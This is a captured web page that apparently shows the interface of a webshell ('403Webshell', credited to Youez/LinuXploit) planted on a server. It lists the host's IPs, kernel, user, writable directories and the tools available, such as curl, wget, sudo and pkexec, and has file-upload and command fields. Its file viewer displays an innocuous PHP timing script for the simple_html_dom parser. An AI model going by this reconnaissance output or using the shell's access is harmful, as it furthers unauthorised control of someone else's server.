403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.7
System : Linux ip-172-31-69-123.ec2.internal 6.1.177-224.371.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 20:28:29 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/wwwdev/_scripts/html_parser/testcase/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/wwwdev/_scripts/html_parser/testcase/performance_test.php
<?php
// $Rev: 133 $
error_reporting(E_ALL);

include_once('../simple_html_dom.php');

$all = 0;
$min = 10000;
$max = 0;
$count = 20;

$str = file_get_contents('./html/google.htm');
$html = new simple_html_dom;

for ($i=0; $i<$count; ++$i) {
    $start = microtime();

    $html->load($str, false);

    list($eu, $es) = explode(' ', microtime());
    list($bu, $bs) = explode(' ', $start);

    $diff = ((float)$eu+(float)$es-(float)$bu-(float)$bs)*1000;

    if ($diff>$max)
        $max = $diff;

    if ($diff<$min)
        $min = $diff;

    $all += $diff;
    echo sprintf('(%.1f)', $diff).'<br>';
}

echo '<br>-------------------------<br>';
echo 'min: ' . $min . '<br>';
echo 'max: ' . $max . '<br>';

echo '<br>avg: ' . $all/$count . '<br>';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit